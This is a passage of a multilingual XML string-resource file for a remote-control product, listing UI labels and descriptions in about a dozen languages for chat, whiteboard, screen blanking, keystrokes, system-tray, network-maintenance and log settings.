<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="CHAT.W">
<en>Allows the user to chat with the person in front of the computer.</en>
<es>Permite al usuario conversar con la persona que está delante del ordenador.</es>
<de>Der Benutzer darf mit der Person vor dem Computer chatten.</de>
<fr>Permet à l'utilisateur de discuter avec la personne assise en face de l'ordinateur.</fr>
<it>Consente all'utente di chattare con l'utente che accede fisicamente al computer.</it>
<ru>Позволяет пользователю разговаривать с лицом, сидящим перед компьютером.</ru>
<ja>このユーザに対して、コンピュータを直接操作する人とのチャットを許可します。</ja>
<zh>允许用户与计算机前的人员聊天。</zh>
<ko>컴퓨터 앞에 있는 사람과 대화할 수 있습니다.</ko>
<en-gb>Allows the user to chat with the person in front of the computer.</en-gb>
<hu>Lehetővé teszi a felhasználó számára, hogy a számítógép előtt ülő személlyel csevegjen.</hu>
<pt-br>Permite que o usuário bata papo com pessoas que trabalham no computador.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker chatten met de persoon die aan de computer zit.</nl>
</msg>
<msg name="WHITEBOARD">
<en>Whiteboard</en>
<es>Pizarra</es>
<de>Whiteboard</de>
<fr>Tableau blanc</fr>
<it>Lavagna</it>
<ru>Доска объявлений</ru>
<ja>ホワイトボード</ja>
<zh>白板</zh>
<ko>화이트보드</ko>
<en-gb>Whiteboard</en-gb>
<hu>Rajztábla</hu>
<pt-br>Quadro de comunicações</pt-br>
<nl>Whiteboard</nl>
</msg>
<msg name="WHITEBOARD.W">
<en>Allows use of the Whiteboard during Remote Control.</en>
<es>Permite el uso de la Pizarra durante el Control Remoto.</es>
<de>Während der Remotesteuerung kann das Whiteboard verwendet werden.</de>
<fr>Permet l'utilisation du Tableau blanc lors d'une session de contrôle à distance.</fr>
<it>Consente l'uso della lavagna durante il controllo remoto.</it>
<ru>Позволяет использовать доску объявлений во время сеанса удаленного управления.</ru>
<ja>リモート制御中のホワイトボードの使用を許可します。</ja>
<zh>允许在远程控制过程中使用白板。</zh>
<ko>원격 제어 중에 화이트보드를 사용할 수 있습니다.</ko>
<en-gb>Allows use of the Whiteboard during Remote Control.</en-gb>
<hu>Engedélyezi a Rajztábla használatát a Távvezérlés során.</hu>
<pt-br>Permite a utilização do quadro de comunicações durante o controle remoto.</pt-br>
<nl>Als deze optie is ingeschakeld, kan de gebruiker tijdens de sessie van "Besturing op afstand" het whiteboard gebruiken.</nl>
</msg>
<msg name="BLANKSCREEN">
<en>Blank Screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank Screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="BLANKSCREEN.W">
<en>Allows blanking the remote host display during Remote Control</en>
<de>Ermöglicht das Ausblenden der Remote-Host-Anzeige während der Fernsteuerung</de>
<es>Permite poner en negro la pantalla del host remoto durante el Control remoto</es>
<fr>Autorise l’effacement de l’écran hôte distant pendant le Contrôle à distance</fr>
<it>Consente di oscurare il display dell’host remoto durante il controllo remoto.</it>
<ru>Позволяет скрыть изображение с экрана удалённого хоста во время удалённого управления</ru>
<ja>リモート制御中にリモート ホストの表示を消すことを許可する</ja>
<zh>允许远程控制时消隐远程主机显示</zh>
<ko>원격 제어 중 원격 호스트 디스플레이를 비우도록 허용합니다.</ko>
<en-gb>Allows blanking the remote host display during Remote Control</en-gb>
<hu>Lehetővé teszi a távoli gazdaszámítógép képernyőjének elsötétítését távvezérlés közben</hu>
<pt-br>Permite colocar a tela do host remoto em branco durante o controle remoto</pt-br>
<nl>Maakt leegmaken van het scherm van de host op afstand mogelijk tijdens besturing op afstand</nl>
</msg>
<msg name="CTRLALTDEL">
<en>Ctrl-Alt-Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl-Alt-Suppr</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Del</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Control-Alt-Del</hu>
<pt-br>Ctrl-Alt-Del</pt-br>
<nl>Ctrl-Alt-Del</nl>
</msg>
<msg name="CTRLALTDEL.W">
<en>Allows using the Ctrl-Alt-Del button in the Options menu during Remote Control</en>
<de>Ermöglicht die Verwendung der Tastaturkombination Strg+Alt+Entf innerhalb des Menüs „Optionen“ während der Fernsteuerung</de>
<es>Permite usar el botón Ctrl-Alt-Supr en el menú Opciones durante el Control remoto</es>
<fr>Autorise l’utilisation du bouton Ctrl-Alt-Suppr du menu Options pendant le Contrôle à distance</fr>
<it>Consente di utilizzare la combinazione di tasti CTRL-ALT-CANC nel menu Opzioni durante il controllo remoto.</it>
<ru>Позволяет использовать кнопку Ctrl+Alt+Del в меню «Параметры» во время удалённого управления</ru>
<ja>リモート制御中に [オプション] メニューで Ctrl-Alt-Del キーを使用することを許可する</ja>
<zh>允许远程控制时在选项菜单中使用 Ctrl-Alt-Del 键</zh>
<ko>원격 제어 중 옵션 메뉴에서 Ctrl-Alt-Del 버튼을 사용하도록 허용합니다.</ko>
<en-gb>Allows using the Ctrl-Alt-Del button in the Options menu during Remote Control</en-gb>
<hu>Lehetővé teszi a Ctrl+Alt+Del gomb használatát a „Lehetőségek“ menüben távvezérlés közben</hu>
<pt-br>Permite usar o botão Ctrl + Alt + Del no menu Opções durante o controle remoto</pt-br>
<nl>Maakt gebruik van CTRL+ALT+DEL in het menu Opties mogelijk tijdens besturing op afstand</nl>
</msg>
<msg name="CMDALTESC">
<en>Cmd-Alt-Esc</en>
<fr>Cmd-Alt-Esc</fr>
<es>Cmd-Alt-Esc</es>
<de>CMD+Alt+Esc</de>
<it>Cmd-Alt-Esc</it>
<nl>Cmd-Alt-Esc</nl>
<pt-br>Cmd-Alt-Esc</pt-br>
<zh>Cmd-Alt-Esc</zh>
<ru>Cmd-Alt-Esc</ru>
<ja>Cmd+Alt+Esc</ja>
<ko>Cmd-Alt-Esc</ko>
<hu>Cmd-Alt-Esc</hu>
<en-gb>Cmd-Alt-Esc</en-gb>
</msg>
<msg name="CMDALTESC.W">
<en>Allows using the Cmd-Alt-Esc button in the Options menu during Remote Control</en>
<de>Ermöglicht die Verwendung der Tastaturkombination Cmd-Alt-Esc innerhalb des Menüs „Optionen“ während der Fernsteuerung</de>
<es>Permite usar el botón Cmd-Alt-Esc< en el menú Opciones durante el Control remoto</es>
<fr>Autorise l’utilisation du bouton Cmd-Alt-Esc du menu Options pendant le Contrôle à distance</fr>
<it>Consente di utilizzare la combinazione di tasti Cmd-Alt-Esc nel menu Opzioni durante il controllo remoto.</it>
<ru>Позволяет использовать кнопку Cmd-Alt-Esc в меню «Параметры» во время удалённого управления</ru>
<ja>リモート制御中に [オプション] メニューで Cmd-Alt-Esc キーを使用することを許可する</ja>
<zh>允许远程控制时在选项菜单中使用 Cmd-Alt-Esc 键</zh>
<ko>원격 제어 중 옵션 메뉴에서 Cmd-Alt-Esc 버튼을 사용하도록 허용합니다.</ko>
<en-gb>Allows using the Cmd-Alt-Esc button in the Options menu during Remote Control</en-gb>
<hu>Lehetővé teszi a Cmd-Alt-Esc gomb használatát a „Lehetőségek“ menüben távvezérlés közben</hu>
<pt-br>Permite usar o botão Cmd-Alt-Esc no menu Opções durante o controle remoto</pt-br>
<nl>Maakt gebruik van Cmd-Alt-Esc in het menu Opties mogelijk tijdens besturing op afstand</nl>
</msg>
<msg name="KEYSTROKES">
<en>Keystrokes</en>
<de>Tastenanschläge</de>
<es>Pulsaciones de teclas</es>
<fr>Séquences de touches</fr>
<it>Battitura dei tasti</it>
<ru>Нажатия клавиш</ru>
<ja>キー操作</ja>
<zh>按键</zh>
<ko>키스트로크</ko>
<en-gb>Keystrokes</en-gb>
<hu>Billentyűleütések</hu>
<pt-br>Pressionamentos de teclas</pt-br>
<nl>Toetsaanslagen</nl>
</msg>
<msg name="KEYSTROKES.W">
<en>Allows keystrokes during Remote Control</en>
<de>Ermöglicht Tastenanschläge während der Fernsteuerung</de>
<es>Permite las pulsaciones de teclas durante el control remoto</es>
<fr>Autorise les séquences de touche pendant le contrôle à distance</fr>
<it>Consente la battitura dei tasti durante il controllo remoto</it>
<ru>Разрешить нажатия клавиш во время удалённого управления</ru>
<ja>リモート制御中のキー操作を許可する</ja>
<zh>允许远程控制期间按键</zh>
<ko>원격 제어 중에 키스트로크 허용</ko>
<en-gb>Allows keystrokes during Remote Control</en-gb>
<hu>Billentyűleütések engedélyezése távvezérlés közben</hu>
<pt-br>Permite pressionamentos de teclas durante o controle remoto</pt-br>
<nl>Staat toetsaanslagen toe tijdens besturing op afstand</nl>
</msg>
<msg name="RESOLUTIONCHANGE">
<en>Change Resolution</en>
<de>Auflösung ändern</de>
<es>Cambiar resolución</es>
<fr>Modifier la résolution</fr>
<it>Cambia risoluzione</it>
<ru>Сменить разрешение</ru>
<ja>解像度の変更</ja>
<zh>更改分辨率</zh>
<ko>해상도 변경</ko>
<en-gb>Change Resolution</en-gb>
<hu>Felbontás módosítása</hu>
<pt-br>Alterar resolução</pt-br>
<nl>Resolutie wijzigen</nl>
</msg>
<msg name="RESOLUTIONCHANGE.W">
<en>Allows changing the remote display's resolution in the Options menu during Remote Control</en>
<de>Ermöglicht das Ändern der Auflösung der Remote-Anzeige innerhalb des Menüs „Optionen“ während der Fernsteuerung</de>
<es>Permite cambiar la resolución de la pantalla remota en el menú Opciones durante el Control remoto.</es>
<fr>Autorise le changement de résolution de l’écran distant dans le menu Options pendant le Contrôle à distance</fr>
<it>Consente di cambiare la risoluzione dello schermo remoto nel menu Opzioni durante il controllo remoto</it>
<ru>Позволяет менять разрешение удалённого экрана в меню «Параметры» во время удалённого управления</ru>
<ja>リモート制御中に [オプション] メニューでリモート表示の解像度を変更することを許可する</ja>
<zh>允许远程控制时在选项菜单中更改远程显示的分辨率</zh>
<ko>원격 제어 중 옵션 메뉴에서 원격 디스플레이의 해상도를 변경할 수 있습니다.</ko>
<en-gb>Allows changing the remote display's resolution in the Options menu during Remote Control</en-gb>
<hu>Lehetővé teszi a távoli képernyő felbontásának módosítását a „Lehetőségek“ menüben távvezérlés közben</hu>
<pt-br>Permite alterar a resolução da tela remota no menu Opções durante o controle remoto</pt-br>
<nl>Maakt het mogelijk om de resolutie van het externe scherm te wijzigen in het menu Opties tijdens besturing op afstand</nl>
</msg>
<msg name="NONE">
<en>None</en>
<de>Keine</de>
<es>Ninguno</es>
<fr>Aucun</fr>
<it>Nessuno</it>
<ru>Отсутствует</ru>
<ja>なし</ja>
<zh>无</zh>
<ko>없음</ko>
<en-gb>None</en-gb>
<hu>Nincs</hu>
<pt-br>Nenhum</pt-br>
<nl>Geen</nl>
</msg>
</cat>
<!-- CONFIG.SYSTRAY -->
<cat name="SYSTRAY">
<msg name="TITLE">
<en>Systray Settings</en>
<de>Taskleisteneinstellungen</de>
<es>Configuración de la bandeja de sistema</es>
<fr>Paramètres de Systray</fr>
<it>Impostazioni Systray</it>
<ru>Настройки панели задач</ru>
<ja>システムトレイの設定</ja>
<zh>任务栏设置</zh>
<ko>Systray 설정</ko>
<en-gb>Systray Settings</en-gb>
<hu>Rendszertálca beállítások</hu>
<pt-br>Configurações da bandeja do sistema</pt-br>
<nl>Instellingen voor Systeemvak</nl>
</msg>
<msg name="GENERALSETTINGS">
<en>General Settings</en>
<de>Allgemeine Einstellungen</de>
<es>Configuración general</es>
<fr>Paramètres généraux</fr>
<it>Impostazioni generali</it>
<ru>Общие параметры</ru>
<ja>全般の設定</ja>
<zh>常规设置</zh>
<ko>일반 설정</ko>
<en-gb>General Settings</en-gb>
<hu>Általános beállítások</hu>
<pt-br>Configurações gerais</pt-br>
<nl>Algemene instellingen</nl>
</msg>
<msg name="EnableSystray">
<en>Display the %PRODUCTNAME icon in the System Tray</en>
<de>%PRODUCTNAME Symbol in der Taskleiste anzeigen</de>
<es>Muestra el icono de %PRODUCTNAME en la bandeja de sistema</es>
<fr>Afficher l'icône de %PRODUCTNAME dans la zone de notifiction de la barre des tâches</fr>
<it>Visualizza l'icona di %PRODUCTNAME nella barra di sistema</it>
<ru>Показывать значок %PRODUCTNAME в панели задач</ru>
<ja>システム トレイに%PRODUCTNAME アイコンを表示</ja>
<zh>在任务栏上显示 %PRODUCTNAME 图标</zh>
<ko>시스템 트레이에 %PRODUCTNAME 아이콘 표시</ko>
<en-gb>Display the %PRODUCTNAME icon in the System Tray</en-gb>
<hu>A %PRODUCTNAME ikon megjelenítése a tálcán.</hu>
<pt-br>Exibir o ícone do %PRODUCTNAME na bandeja do sistema.</pt-br>
<nl>Het %PRODUCTNAME-pictogram weergeven in het Systeemvak</nl>
</msg>
<msg brand="LMI" name="EnableSystray">
<en>Show the %PRODUCTNAME icon next to the clock</en>
<es>Mostrar el icono %PRODUCTNAME junto al reloj</es>
<de>%PRODUCTNAME-Symbol neben Uhr anzeigen</de>
<fr>Afficher l'icône %PRODUCTNAME à côté de l'horloge</fr>
<it>Mostra icona %PRODUCTNAME accanto all'orologio</it>
<ru>Показывать значок %PRODUCTNAME рядом с часами</ru>
<ja>時計の横に %PRODUCTNAME のアイコンを表示する</ja>
<zh>显示时钟旁边的 %PRODUCTNAME 图标</zh>
<ko>시계 옆에 %PRODUCTNAME 아이콘 표시</ko>
<hu>%PRODUCTNAME ikon megjelenítése az óra mellett</hu>
<pt-br>Mostrar o ícone do %PRODUCTNAME ao lado do relógio</pt-br>
<nl>Toon het %PRODUCTNAME-pictogram naast de klok</nl>
<en-gb>Show the %PRODUCTNAME icon next to the clock</en-gb>
</msg>
</cat>
<!-- CONFIG.NETMAINT -->
<cat name="NETMAINT">
<msg name="TITLE">
<en>Network Maintenance</en>
<de>Netzwerkinstallation und Wartung</de>
<es>Mantenimiento de la red</es>
<fr>Maintenance Réseau</fr>
<it>Manutenzione di rete</it>
<ru>Обслуживание сети</ru>
<ja>ネットワーク メンテナンス</ja>
<zh>网络维护</zh>
<ko>네트워크 유지관리</ko>
<en-gb>Network Maintenance</en-gb>
<hu>Hálózati karbantartás</hu>
<pt-br>Manutenção de rede</pt-br>
<nl>Netwerkonderhoud</nl>
</msg>
<msg name="COMPUTER">
<en>Computer</en>
<de>Computer</de>
<es>Ordenador</es>
<fr>Ordinateur</fr>
<it>Computer</it>
<ru>Компьютер</ru>
<ja>コンピュータ</ja>
<zh>计算机</zh>
<ko>컴퓨터</ko>
<en-gb>Computer</en-gb>
<hu>Számítógép</hu>
<pt-br>Computador</pt-br>
<nl>Computer</nl>
</msg>
<msg name="PLATFORM">
<en>Platform</en>
<de>Plattform</de>
<es>Plataforma</es>
<fr>Platteforme</fr>
<it>Piattaforma</it>
<ru>Платформа</ru>
<ja>プラットフォーム</ja>
<zh>平台</zh>
<ko>플랫폼</ko>
<en-gb>Platform</en-gb>
<hu>Platform</hu>
<pt-br>Plataforma</pt-br>
<nl>Platform</nl>
</msg>
<cat name="ROLE">
<msg name="WKS">
<en>Workstation</en>
<de>Arbeitsstation</de>
<es>Puesto de trabajo</es>
<fr>Poste de travail</fr>
<it>Workstation</it>
<ru>Рабочая станция</ru>
<ja>ワークステーション</ja>
<zh>工作站</zh>
<ko>워크스테이션</ko>
<en-gb>Workstation</en-gb>
<hu>Munkaállomás</hu>
<pt-br>Estação de trabalho</pt-br>
<nl>Workstation</nl>
</msg>
<msg name="SRV">
<en>Server</en>
<de>Server</de>
<es>Servidor</es>
<fr>Serveur</fr>
<it>Server</it>
<ru>Сервер</ru>
<ja>サーバー</ja>
<zh>服务器</zh>
<ko>서버</ko>
<en-gb>Server</en-gb>
<hu>Kiszolgáló</hu>
<pt-br>Servidor</pt-br>
<nl>Server</nl>
</msg>
<msg name="PDC">
<en>Primary Domain Controller</en>
<de>Primärer Domänencontroller</de>
<es>Controlador de dominio primario</es>
<fr>Contrôleur de Domaine Primaire</fr>
<it>Controller di dominio primario</it>
<ru>Основной контроллер домена</ru>
<ja>プライマリ ドメイン コントローラ</ja>
<zh>主域控制器</zh>
<ko>주 도메인 컨트롤러</ko>
<en-gb>Primary Domain Controller</en-gb>
<hu>Elsődleges tartományvezérlő</hu>
<pt-br>Controlador de domínio primário</pt-br>
<nl>Primaire domeincontroller</nl>
</msg>
<msg name="BDC">
<en>Backup Domain Controller</en>
<de>Backup Domänencontroller</de>
<es>Controlador de dominio de seguridad</es>
<fr>Contrôleur de Domaine de Sauvegarde</fr>
<it>Controller di dominio di backup</it>
<ru>Резервный контроллер домена</ru>
<ja>バックアップ ドメイン コントローラ</ja>
<zh>备份域控制器</zh>
<ko>백업 도메인 컨트롤러</ko>
<en-gb>Backup Domain Controller</en-gb>
<hu>Tartalék tartományvezérlő</hu>
<pt-br>Controlador de domínio de backup</pt-br>
<nl>Reservekopiedomeincontroller</nl>
</msg>
</cat>
<msg name="VERSION">
<en>%PRODUCTNAME Version</en>
<de>%PRODUCTNAME Version</de>
<es>Versión de %PRODUCTNAME</es>
<fr>Version de%PRODUCTNAME</fr>
<it>Versione di %PRODUCTNAME</it>
<ru>Версия %PRODUCTNAME</ru>
<ja>%PRODUCTNAME バージョン</ja>
<zh>%PRODUCTNAME 版本</zh>
<ko>%PRODUCTNAME 버전</ko>
<en-gb>%PRODUCTNAME Version</en-gb>
<hu>%PRODUCTNAME verzió</hu>
<pt-br>Versão do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME Versie</nl>
</msg>
<msg name="PORT">
<en>Listening port</en>
<de>Verwendeter Port</de>
<es>Puerto de escucha</es>
<fr>Port d'écoute</fr>
<it>Porta di attesa</it>
<ru>Прослушиваемый порт</ru>
<ja>リスニング ポート</ja>
<zh>侦听端口</zh>
<ko>수신 포트</ko>
<en-gb>Listening port</en-gb>
<hu>figyelő port</hu>
<pt-br>Porta do ouvinte</pt-br>
<nl>Luisterpoort</nl>
</msg>
<msg name="STATUS">
<en>Service status</en>
<de>Service Status</de>
<es>Estado del servicio</es>
<fr>Statut  de Service</fr>
<it>Stato del servizio</it>
<ru>Состояние службы</ru>
<ja>サービス ステータス</ja>
<zh>服务状态</zh>
<ko>서비스 상태</ko>
<en-gb>Service status</en-gb>
<hu>Szolgáltatás állapota</hu>
<pt-br>Status do serviço</pt-br>
<nl>Status van service</nl>
</msg>
<msg name="ACTION">
<en>Action</en>
<de>Aktion</de>
<es>Acción</es>
<fr>Action</fr>
<it>Azione</it>
<ru>Действие</ru>
<ja>アクション</ja>
<zh>操作</zh>
<ko>작업</ko>
<en-gb>Action</en-gb>
<hu>Művelet</hu>
<pt-br>Ação</pt-br>
<nl>Actie</nl>
</msg>
<cat name="ACTION">
<msg name="INSTALL">
<en>Install</en>
<de>Installieren</de>
<es>Instalar</es>
<fr>Installer</fr>
<it>Installa</it>
<ru>Установить</ru>
<ja>インストール</ja>
<zh>安装</zh>
<ko>설치</ko>
<en-gb>Install</en-gb>
<hu>Telepítés</hu>
<pt-br>Instalar</pt-br>
<nl>Installeren</nl>
</msg>
<msg name="UPGRADE">
<en>Upgrade</en>
<de>Upgrade</de>
<es>Actualizar</es>
<fr>Mettre à jour</fr>
<it>Aggiorna</it>
<ru>Обновить</ru>
<ja>アップグレード</ja>
<zh>升级</zh>
<ko>업그레이드</ko>
<en-gb>Upgrade</en-gb>
<hu>Frissítés</hu>
<pt-br>Atualizar</pt-br>
<nl>Upgrade uitvoeren</nl>
</msg>
<msg name="UNINSTALL">
<en>Uninstall</en>
<de>Deinstallieren</de>
<es>Desinstalar</es>
<fr>Désinstaller</fr>
<it>Disinstalla</it>
<ru>Удалить</ru>
<ja>アンインストール</ja>
<zh>卸载</zh>
<ko>제거</ko>
<en-gb>Uninstall</en-gb>
<hu>Eltávolítás</hu>
<pt-br>Desinstalar</pt-br>
<nl>Installatie ongedaan maken</nl>
</msg>
</cat>
<msg name="NOTINST">
<en>Not installed</en>
<de>Nicht installiert</de>
<es>No instalado</es>
<fr>Pas installé</fr>
<it>Non installato</it>
<ru>Не установлен</ru>
<ja>インストールされていない</ja>
<zh>未安装</zh>
<ko>설치하지 않음</ko>
<en-gb>Not installed</en-gb>
<hu>Nincs telepítve</hu>
<pt-br>Não instalado</pt-br>
<nl>Niet geïnstalleerd</nl>
</msg>
<cat name="OP">
<msg name="install">
<en>Installing %PRODUCTNAME to %RAINST.COMPUTER</en>
<de>Installiere %PRODUCTNAME auf %RAINST.COMPUTER</de>
<es>Instalando %PRODUCTNAME en %RAINST.ORDENADOR</es>
<fr>Installation de %PRODUCTNAME sur %RAINST.COMPUTER</fr>
<it>Installazione di %PRODUCTNAME su %RAINST.COMPUTER</it>
<ru>Установка %PRODUCTNAME на компьютер %RAINST.COMPUTER</ru>
<ja>%PRODUCTNAME を %RAINST.COMPUTER にインストールしています</ja>
<zh>正在将 %PRODUCTNAME 安装至 %RAINST.COMPUTER</zh>
<ko>%RAINST.COMPUTER에 %PRODUCTNAME 설치 중</ko>
<en-gb>Installing %PRODUCTNAME to %RAINST.COMPUTER</en-gb>
<hu>%PRODUCTNAME telepítése erre: %RAINST.COMPUTER</hu>
<pt-br>Instalando o %PRODUCTNAME no %RAINST.COMPUTER</pt-br>
<nl>Bezig met installeren van %PRODUCTNAME op %RAINST.COMPUTER</nl>
</msg>
<msg name="uninstall">
<en>Installing %PRODUCTNAME from %RAINST.COMPUTER</en>
<de>Installiere %PRODUCTNAME von %RAINST.COMPUTER</de>
<es>Instalando %PRODUCTNAME desde %RAINST.ORDENADOR</es>
<fr>Installation de %PRODUCTNAME de %RAINST.COMPUTER</fr>
<it>Installazione di %PRODUCTNAME da %RAINST.COMPUTER</it>
<ru>Установка %PRODUCTNAME с компьютера %RAINST.COMPUTER</ru>
<ja>%PRODUCTNAME を %RAINST.COMPUTER からインストールしています</ja>
<zh>正在从 %RAINST.COMPUTER 安装 %PRODUCTNAME</zh>
<ko>%RAINST.COMPUTER에서 %PRODUCTNAME 설치 중</ko>
<en-gb>Installing %PRODUCTNAME from %RAINST.COMPUTER</en-gb>
<hu>%PRODUCTNAME telepítése erről: %RAINST.COMPUTER</hu>
<pt-br>Instalando o %PRODUCTNAME do %RAINST.COMPUTER</pt-br>
<nl>Bezig met installeren van %PRODUCTNAME vanaf %RAINST.COMPUTER</nl>
</msg>
<msg name="start">
<en>Starting %PRODUCTNAME on %RAINST.COMPUTER</en>
<de>Starte %PRODUCTNAME auf %RAINST.COMPUTER</de>
<es>Iniciando %PRODUCTNAME en %RAINST.ORDENADOR</es>
<fr>Démarrer %PRODUCTNAME sur %RAINST.COMPUTER</fr>
<it>Avvio di %PRODUCTNAME in %RAINST.COMPUTER</it>
<ru>Запуск %PRODUCTNAME на компьютере %RAINST.COMPUTER</ru>
<ja>%PRODUCTNAME を %RAINST.COMPUTER で起動しています</ja>
<zh>正在 %RAINST.COMPUTER 上启动 %PRODUCTNAME</zh>
<ko>%RAINST.COMPUTER에서 %PRODUCTNAME 시작 중</ko>
<en-gb>Starting %PRODUCTNAME on %RAINST.COMPUTER</en-gb>
<hu>%PRODUCTNAME indítása itt: %RAINST.COMPUTER</hu>
<pt-br>Iniciando o %PRODUCTNAME no %RAINST.COMPUTER</pt-br>
<nl>Bezig met starten van %PRODUCTNAME op %RAINST.COMPUTER</nl>
</msg>
<msg name="stop">
<en>Stopping %PRODUCTNAME on %RAINST.COMPUTER</en>
<de>Beende %PRODUCTNAME auf %RAINST.COMPUTER</de>
<es>Deteniendo %PRODUCTNAME en %RAINST.ORDENADOR</es>
<fr>Arrêt de %PRODUCTNAME sur %RAINST.COMPUTER</fr>
<it>Chiusura di %PRODUCTNAME in %RAINST.COMPUTER</it>
<ru>Остановка %PRODUCTNAME на компьютере %RAINST.COMPUTER</ru>
<ja>%PRODUCTNAME を %RAINST.COMPUTER で終了しています</ja>
<zh>正在 %RAINST.COMPUTER 上停止 %PRODUCTNAME</zh>
<ko>%RAINST.COMPUTER에서 %PRODUCTNAME 중지 중</ko>
<en-gb>Stopping %PRODUCTNAME on %RAINST.COMPUTER</en-gb>
<hu>%PRODUCTNAME leállítása itt: %RAINST.COMPUTER</hu>
<pt-br>Interrompendo o %PRODUCTNAME no %RAINST.COMPUTER</pt-br>
<nl>Bezig met sluiten van %PRODUCTNAME op %RAINST.COMPUTER</nl>
</msg>
<msg name="restart">
<en>Restarting %PRODUCTNAME on %RAINST.COMPUTER</en>
<de>Neustart von %PRODUCTNAME auf %RAINST.COMPUTER</de>
<es>Reiniciando %PRODUCTNAME en %RAINST.ORDENADOR</es>
<fr>Redémarrage de %PRODUCTNAME sur %RAINST.COMPUTER</fr>
<it>Riavvio di %PRODUCTNAME in %RAINST.COMPUTER</it>
<ru>Перезапуск %PRODUCTNAME на компьютере %RAINST.COMPUTER</ru>
<ja>%PRODUCTNAME を %RAINST.COMPUTER で再起動しています</ja>
<zh>正在 %RAINST.COMPUTER 上重新启动 %PRODUCTNAME</zh>
<ko>%RAINST.COMPUTER에서 %PRODUCTNAME 다시 시작 중</ko>
<en-gb>Restarting %PRODUCTNAME on %RAINST.COMPUTER</en-gb>
<hu>%PRODUCTNAME újraindítása itt: %RAINST.COMPUTER</hu>
<pt-br>Reiniciando o %PRODUCTNAME no %RAINST.COMPUTER</pt-br>
<nl>Bezig met opnieuw starten van %PRODUCTNAME op %RAINST.COMPUTER</nl>
</msg>
</cat>
<msg name="NTLMNOTE">
<en>You are logged in using NTLM authentication, which prevents you from accessing
resources on the local network. Please log in with your username/password to use this
feature.</en>
<de>Anmerkung: Sie haben sich über NTLM angemeldet. Dadurch können Sie auf Ressourcen
im lokalen Netzwerk nicht zugreifen. Bitte melden Sie sich über Benutzernamen und Kennwort
an, um diese Funktion zu nutzen.</de>
<es>Ha iniciado sesión utilizando autenticación NTLM, lo que evita que pueda acceder
a recursos de la red local. Inicie sesión con su nombre de usuario/contraseña para poder utilizar esta
función.</es>
<fr>Vous êtes loggué en utilisant l'authentification NTLM, qui vous évite l'accès
aux ressouces du réseau local. Veuillez vous loggué avec nom/mot de passe pour utiliser cette
fonction.</fr>
<it>L'accesso è stato eseguito utilizzando l'autenticazione NTLM; ciò può impedire l'accesso alle risorse della rete locale. Per utilizzare questa funzione, accedere con il proprio nome utente e la propria password.</it>
<ru>Вход в систему выполнен с использованием проверки подлинности NTLM, что не позволяет иметь доступ к ресурсам локальной сети. Чтобы использовать эту функцию, войдите в систему с использованием своего имени пользователя и пароля.</ru>
<ja>NTLM 認証を使ってログインしているため、ローカル ネットワーク上のリソースにアクセスできません。この機能を使用するには、ご自分のユーザ名とパスワードでログインしてください。</ja>
<zh>如果使用 NTLM 验证登录,将阻止您访问本地网络上的资源。请以您的用户名/密码登录,以使用此功能。</zh>
<ko>NTLM 인증을 사용하여 로그인하는 중이므로 로컬 네트워크에서 리소스에 액세스할 수 없습니다. 이 기능을 사용하려면 사용자 이름/암호로 로그인하십시오.</ko>
<en-gb>You are logged in using NTLM authentication, which prevents you from accessing resources on the local network. Please log in with your username/password to use this feature.</en-gb>
<hu>Ön NTLM hitelesítéssel jelentkezett be, és ez megakadályozza, hogy néhány 
helyi hálózati erőforráshoz hozzáférjen. Kérem, jelentkezzen be felhasználói nevével és jelszavával, hogy ezt a funkciót
használja.</hu>
<pt-br>Você foi conectado usando autenticação NTLM, o que o impede de acessar
recursos na rede local. Faça login com seu nome de usuário/senha para usar este
recurso.</pt-br>
<nl>U bent aangemeld met NTLM-verificatie, waardoor u geen toegang hebt tot de bronnen op het lokale netwerk. Meld u aan met uw gebruikersnaam/wachtwoord als u deze functie wilt gebruiken.</nl>
</msg>
</cat>
<!-- CONFIG.LOG -->
<cat name="LOG">
<msg name="TITLE">
<en>Log Settings</en>
<de>Protokollierung</de>
<es>Configuración de registro</es>
<fr>Paramètres des journaux</fr>
<it>Impostazioni registro</it>
<ru>Настройки журнала</ru>
<ja>ログの設定</ja>
<zh>日志设置</zh>
<ko>로그 설정</ko>
<en-gb>Log Settings</en-gb>
<hu>Naplózási beállítások</hu>
<pt-br>Configurações do log</pt-br>
<nl>Logboekinstellingen</nl>
</msg>
<msg name="GENERALSETTINGS">
<en>General Settings</en>
<de>Allgemeine Einstellungen</de>
<es>Configuración general</es>
<fr>Paramètres généraux</fr>
<it>Impostazioni generali</it>
<ru>Общие параметры</ru>
<ja>全般の設定</ja>
<zh>常规设置</zh>
<ko>일반 설정</ko>
<en-gb>General Settings</en-gb>
<hu>Általános beállítások</hu>
<pt-br>Configurações gerais</pt-br>
<nl>Algemene instellingen</nl>
</msg>
<msg name="ArchivalDays">
<en>Keep log files for this many days:</en>
<de>Protokolldateien für diese Anzahl von Tagen aufbewahren:</de>
<es>Guardar archivos de registro durante estos días:</es>
<fr>Conserver les fichiers journaux pendant:</fr>
<it>Conserva file di registro per giorni:</it>
<ru>Сохраняйте файлы журнала в течение указанного количества дней:</ru>
<ja>次の期間ログファイルを保存 :</ja>
<zh>保存日志文件的天数:</zh>
<ko>다음 기간 동안 로그 파일 보관:</ko>
<en-gb>Keep log files for this many days:</en-gb>
<hu>Napló vezetése erről, ennyi napon keresztül:</hu>
<pt-br>Manter arquivos de log por esta quantidade de dias:</pt-br>
<nl>Logboekbestanden bewaren gedurende het volgende aantal dagen:</nl>
</msg>
<msg brand="LMI" name="ArchivalDays">
<en>Keep event logs for:</en>
<es>Guardar registros de sucesos para:</es>
<de>Speicherdauer der Ereignisprotokolle:</de>
